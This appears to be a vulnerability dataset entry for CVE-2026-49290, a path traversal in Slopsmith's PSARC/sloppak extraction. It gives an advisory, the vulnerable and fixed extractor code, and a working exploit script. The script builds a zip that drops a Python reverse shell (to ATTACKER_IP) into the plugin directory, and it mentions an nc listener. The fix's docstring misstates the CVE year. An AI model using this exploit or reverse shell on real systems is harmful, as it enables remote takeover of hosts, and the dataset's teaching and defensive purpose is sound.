CVE-2026-49290

Slopsmith allows RCE via path traversal in PSARC/sloppak archive extraction.

• CVSS 7.6
• CWE-22
• Input Validation and Sanitization
• Remote

Slopsmith is a self-contained web application for browsing, playing, and practicing Rocksmith 2014 Custom DLC (CDLC). Prior to 0.2.9-alpha.5, a path-traversal vulnerability in Slopsmith's archive extractors allows an attacker to write arbitrary files outside the extraction directory by supplying a crafted PSARC or sloppak archive. With the default Docker configuration (running as root) and the ability to drop a file into the plugin directory, this escalates to arbitrary remote code execution on the host. Three archive extractors concatenated archive-entry filenames directly onto the extraction root without validation: `lib/psarc.py::unpack_psarc` — PSARC TOC filenames; `lib/patcher.py::unpack_psarc` — duplicate of the above in the patcher flow; `lib/sloppak.py::_unpack_zip` — bare `ZipFile.extractall()` with no member filter. Each accepts entry names containing `..` segments, absolute paths, or backslash separators. The Python `zipfile` module's default `extractall()` is documented as not preventing traversal when callers don't supply a member-filter callback. Version 0.2.9-alpha.5 patches the issue. Until updated, do not open PSARC or sloppak archives from untrusted sources, and do not expose the Slopsmith instance to the public internet. Docker users should also pull the latest image after the next slopsmith Docker image is published.

CVE

CVE-2026-49290

CWE

CWE-22

CVSS base score

7.6

Published

2026-06-19

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Checking

Code defect classification

Missing Check

Category

Input Validation and Sanitization

Subcategory

Path Traversal

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

Slopsmith

Solution

Upgrade to Slopsmith version 0.2.9-alpha.5.

import zipfile

# This function is a representation of the vulnerable _unpack_zip from
# lib/sloppak.py prior to version 0.2.9-alpha.5.
#
# The vulnerability is the direct call to `ZipFile.extractall()` without
# validating or filtering the member paths within the archive. A malicious
# sloppak (zip) archive could contain paths with ".." to traverse up the
# directory tree and write files in unintended locations.
def _unpack_zip(archive_path, extract_to):
    with zipfile.ZipFile(archive_path, 'r') as zip_ref:
        zip_ref.extractall(extract_to)

import os
import zipfile

def safe_unpack_zip(zip_archive_path, extract_directory):
    """
    This function represents the fix for CVE-2024-49290 in Slopsmith's
    zip archive handler (lib/sloppak.py::_unpack_zip). The vulnerable
    version used `zipfile.extractall()` without validation, whereas the
    fixed version iterates through each file and validates its path before
    extraction.
    """
    real_extract_path = os.path.realpath(extract_directory)

    with zipfile.ZipFile(zip_archive_path, 'r') as zf:
        for member in zf.infolist():
            # Skip directories, as they are created by extract() as needed
            if member.is_dir():
                continue

            # Determine the full path for the file to be extracted
            target_path = os.path.join(real_extract_path, member.filename)

            # Resolve the absolute, canonical path of the target file.
            # This handles path components like '..'
            real_target_path = os.path.realpath(target_path)

            # This is the security check: ensure the real path of the file
            # is still within the intended extraction directory.
            if real_target_path.startswith(real_extract_path + os.sep) or real_target_path == real_extract_path:
                zf.extract(member, path=extract_directory)
            else:
                # In a real application, this path traversal attempt would be logged.
                # For this example, we simply skip the malicious file.
                pass

import zipfile
import os

# The malicious payload content (a simple Python reverse shell)
# Replace 'ATTACKER_IP' and 'ATTACKER_PORT' with your listener's details.
reverse_shell_code = """
import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect(('ATTACKER_IP', ATTACKER_PORT))
    os.dup2(s.fileno(), 0)  # stdin
    os.dup2(s.fileno(), 1)  # stdout
    os.dup2(s.fileno(), 2)  # stderr
    p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
    pass
"""

# The path for the file inside the archive.
# It uses '..' to traverse up from the extraction directory.
# The target is the 'plugins' directory to achieve RCE.
malicious_path = "../../../../../app/plugins/pwn.py"

# The name of the crafted archive file.
zip_filename = "malicious.sloppak"

# Create the malicious sloppak (zip) file
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(malicious_path, reverse_shell_code)

print(f"Malicious archive '{zip_filename}' created successfully.")
print(f"Upload and have Slopsmith process this file to trigger the exploit.")
print(f"Make sure you have a listener running: nc -lvnp ATTACKER_PORT")

@misc{vaitp:cve202649290,
  title        = {{Slopsmith allows RCE via path traversal in PSARC/sloppak archive extraction.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-49290},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-49290/}}
}